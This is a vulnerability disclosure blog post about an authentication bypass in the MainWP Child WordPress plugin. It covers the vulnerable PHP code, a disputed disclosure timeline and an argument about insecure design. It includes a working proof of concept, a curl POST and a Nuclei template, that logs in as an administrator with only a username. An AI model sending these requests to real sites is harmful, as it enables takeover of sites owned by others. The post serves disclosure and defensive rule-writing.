MainWP Refuses to Patch Critical Flaw Leaving Sites Vulnerable to Takeover

MainWP is a popular plugin for centrally managing multiple WordPress sites. It is composed of two separate plugins that are meant to be connected to each other: MainWP Dashboard and MainWP Child. This post details a critical authentication vulnerability found in MainWP Child, a plugin installed on over 700,000 websites.

This security issue was responsibly disclosed to the vendor, however MainWP has downplayed its severity, refused to issue a patch, and claims the software is "working as designed."

The Vulnerability: Improper Authentication

The MainWP Child plugin is vulnerable to an authentication bypass that allows an unauthenticated user to log in as an administrator–without providing a password!

Source: CWE-287: Improper Authentication

The vulnerability exists due to an insecure site registration process in the plugin. When MainWP Child is installed on a new website it needs to be connected to a MainWP Dashboard to function properly. By default, the process of connecting a MainWP Dashboard to a MainWP Child site requires only the child site's URL and an administrator's username.

The registration process is triggered through the init hook in the mainwp-child/class/class-mainwp-child.php file. That hook calls the register_site function, which is defined as follows:

public function register_site() {
    global $current_user;

    $information = array();
    // Check if the user is valid & login.
    if ( ! isset( $_POST['user'] ) || ! isset( $_POST['pubkey'] ) ) {
        MainWP_Helper::instance()->error( sprintf( esc_html__( 'Public key could not be set. Please make sure that the OpenSSL library has been configured correctly on your MainWP Dashboard. For additional help, please check this %1$shelp document%2$s.', 'mainwp-child' ), '<strong><a href="https://kb.mainwp.com/docs/cant-connect-website-getting-the-invalid-request-error-message/" target="_blank">', '</a></strong>' ) );
    }

    // Already added - can't readd. Deactivate plugin.
    if ( get_option( 'mainwp_child_pubkey' ) ) {

        // Set disconnect status to yes here, it will empty after reconnected.
        MainWP_Child_Branding::instance()->save_branding_options( 'branding_disconnected', 'yes' );
        MainWP_Helper::instance()->error( esc_html__( 'Public key already set. Please deactivate & reactivate the MainWP Child plugin on the child site and try again.', 'mainwp-child' ) );
    }

    $uniqueId = MainWP_Helper::get_site_unique_id();
    // Check the Unique Security ID.
    if ( '' !== $uniqueId ) {
        if ( ! isset( $_POST['uniqueId'] ) || ( '' === $_POST['uniqueId'] ) ) {
            MainWP_Helper::instance()->error( esc_html__( 'This child site is set to require a unique security ID. Please enter it before the connection can be established.', 'mainwp-child' ) );
        } elseif ( $uniqueId !== $_POST['uniqueId'] ) {
            MainWP_Helper::instance()->error( esc_html__( 'The unique security ID mismatch! Please correct it before the connection can be established.', 'mainwp-child' ) );
        }
    }

    // Check SSL Requirement.
    if ( ! MainWP_Helper::is_ssl_enabled() && ( ! defined( 'MAINWP_ALLOW_NOSSL_CONNECT' ) || ! MAINWP_ALLOW_NOSSL_CONNECT ) ) {
        MainWP_Helper::instance()->error( esc_html__( 'OpenSSL library is required on the child site to set up a secure connection.', 'mainwp-child' ) );
    }

    // Check Curl SSL Requirement.
    if ( ! MainWP_Child_Server_Information_Base::get_curl_support() ) {
        MainWP_Helper::instance()->error( esc_html__( 'cURL Extension not enabled on the child site server. Please contact your host support and have them enabled it for you.', 'mainwp-child' ) );
    }

    // Check if the user exists and if yes, check if it's Administartor user.
    if ( empty( $_POST['user'] ) || ! $this->login( wp_unslash( $_POST['user'] ) ) ) {
        MainWP_Helper::instance()->error( esc_html__( 'Unexisting administrator user. Please verify that it is an existing administrator.', 'mainwp-child' ) );
    }

    ...
}

The register_site function checks if the $_POST['user'] and $_POST['pubkey'] parameters are set. If they are, the function calls the login function, which is defined as follows:

public function login( $username, $doAction = false ) {

    global $current_user;

    // Logout if required.
    if ( isset( $current_user->user_login ) ) {
        if ( $current_user->user_login === $username ) {

            // to fix issue multi user session.
            $user_id = wp_validate_auth_cookie();
            if ( $user_id && $user_id === $current_user->ID ) {
                $this->check_compatible_connect_info();
                return true;
            }

            wp_set_auth_cookie( $current_user->ID );

            $this->check_compatible_connect_info();
            return true;
        }
        do_action( 'wp_logout' );
    }

    $user = get_user_by( 'login', $username );
    if ( $user ) {
        wp_set_current_user( $user->ID );
        wp_set_auth_cookie( $user->ID );
        if ( $doAction ) {
            do_action( 'wp_login', $user->user_login );
        }

        $logged_in = ( is_user_logged_in() && $current_user->user_login === $username );

        if ( $logged_in ) {
            $this->check_compatible_connect_info();
        }

        return $logged_in;
    }

    return false;
}

The login function takes the provided username and logs the user in without checking the password. This allows an attacker to log in as an administrator by providing only the username.

Impact

An unauthenticated attacker can log in as an administrator without providing a password. This is only possible when the MainWP Child plugin has not been connected to a MainWP Dashboard and the "Require unique security ID" option is not enabled (it is disabled by default).

CVSS Score: 9.2 (Critical)
Affected versions: <= 5.2 (no patch available)
Assigned CVE: CVE-2024-10783

Proof of Concept

Since MainWP is not interested in fixing this vulnerability, I'm including a PoC exploit that can be used by security vendors to develop a "virtual patch" (i.e. web application firewall rules) to help protect sites and detect exploitation attempts.

Curl

curl -v -XPOST -d 'function=register&pubkey=&user={{username}}' 'https://example.com'

Nuclei

id: mainwp-child-authentication-bypass

info:
  name: MainWP Child - Authentication Bypass to Administrator
  author: Sean Murphy
  severity: critical
  description: |
    The MainWP plugin for WordPress contains an authentication bypass vulnerability in version 5.2.

variables:
  username: admin

http:
  - raw:
    - |
      POST / HTTP/1.1
      Host: {{Hostname}}
      Content-Type: application/x-www-form-urlencoded

      function=register&user={{username}}&pubkey=
    - |
      GET /wp-admin/ HTTP/1.1
      Host: {{Hostname}}
    - |
      GET /wp-json/wp/v2/users/me HTTP/1.1
      Host: {{Hostname}}
      X-WP-Nonce: {{nonce}}

    extractors:
      - type: regex
        name: nonce
        part: body_2
        group: 1
        regex:
          - 'wpApiSettings\s*=\s*\{"root":".+?","nonce":"([^"]+)"'
        internal: true

    matchers:
      - type: dsl
        dsl:
          - "status_code_3 == 200"
          - "contains(body_3, '{{username}}')"
        condition: and

Disclosure Attempt 1: Wordfence Bug Bounty

On Saturday, November 2, 2024 I reported this issue through the Wordfence Bug Bounty program.

On Monday, November 4, 2024 my report was successfully validated, a CVE was assigned, and it was considered eligible for a bounty.

Then something surprising happened.

I was informed on November 6, 2024 that my report was out-of-scope. The reason? It's a "known issue" and "an intentional feature". Auth bypass an intentional feature? That's odd.

I pushed back, and in a follow-up email the Wordfence team revealed that one of their customers had reported the issue to them in 2019:

The team discussed it at that time and came to the same conclusion—if it's documented and the user gets a warning, it can't be considered a vulnerability.

Flabbergasted, I moved on and tried contacting the vendor directly.

Disclosure Attempt 2: MainWP Bug Bounty

On November 6, 2024 I reported this issue through the MainWP Bug Bounty program on HackerOne.

On November 11, 2024 my report was closed as out-of-scope and marked "informative".

Evidently MainWP is so determined to keep this security vulnerability in their plugin that they explicitly exclude it in the scope for their bug bounty program. To their credit, they do attempt to warn users about "unexpected security issues" if the plugin is left activated but unconnected.

Unfortunately, the warning won't prevent attackers from exploiting the vulnerability that's present in the plugin. The "security ID" option would provide adequate protection, but it has to be enabled. By default, the security feature is off.

Sorry folks, but this isn't what balancing security with usability looks like.

A Pattern Emerges

Interestingly, this isn't the first time a critical authentication bypass vulnerability has been found in MainWP Child. It isn't even the second time. Twice before, very similar vulnerabilities–the ability to log in as an admin with only a username–have been found in the plugin and patched.

So why is this issue considered out-of-scope? What is different this time?

Insecure Design vs Insecure Implementation

MainWP and Wordfence are of the opinion that if a feature is intentionally designed in an insecure way it can't be considered a vulnerability. I disagree.

A security vulnerability is a weakness in a system that can be exploited by an attacker to compromise the confidentiality, availability, or integrity of a resource. Vulnerabilities can occur in hardware, design, implementation, internal controls, technical controls, physical controls, or other controls.

Many, perhaps most, vulnerabilities are bugs in the implementation of a system. They are introduced by mistake, not placed there intentionally. On the other hand, there is an entire class of vulnerabilities related to the way a system is designed. Here's an excerpt from the OWASP Top 10, A04:2021 – Insecure Design:

We differentiate between design flaws and implementation defects for a reason, they have different root causes and remediation. A secure design can still have implementation defects leading to vulnerabilities that may be exploited. An insecure design cannot be fixed by a perfect implementation as by definition, needed security controls were never created to defend against specific attacks. One of the factors that contribute to insecure design is the lack of business risk profiling inherent in the software or system being developed, and thus the failure to determine what level of security design is required.

So clearly, even if a system is functioning exactly as it was designed, if it allows an attacker to compromise its confidentiality, availability, or integrity–it has a security vulnerability.

Takeaways

This vulnerability is a case study in why threat modeling deserves a place in every software vendor's SDLC. It's crucial for development teams to consider how features can be abused and misused. Not only should we as an industry be committed to building software that is Secure by Design, we must also make it Secure by Default.

I'm disappointed by how this vulnerability disclosure was handled by MainWP and Wordfence. I'm upset that MainWP isn't taking their responsibility to protect customers and their data more seriously. If you are a MainWP user, you should demand they fix this or find another site management solution. You have options.

Update 2024/11/12: MainWP has published a response indicating they plan to patch this issue in version 5.3. They still dispute that this is a valid security issue.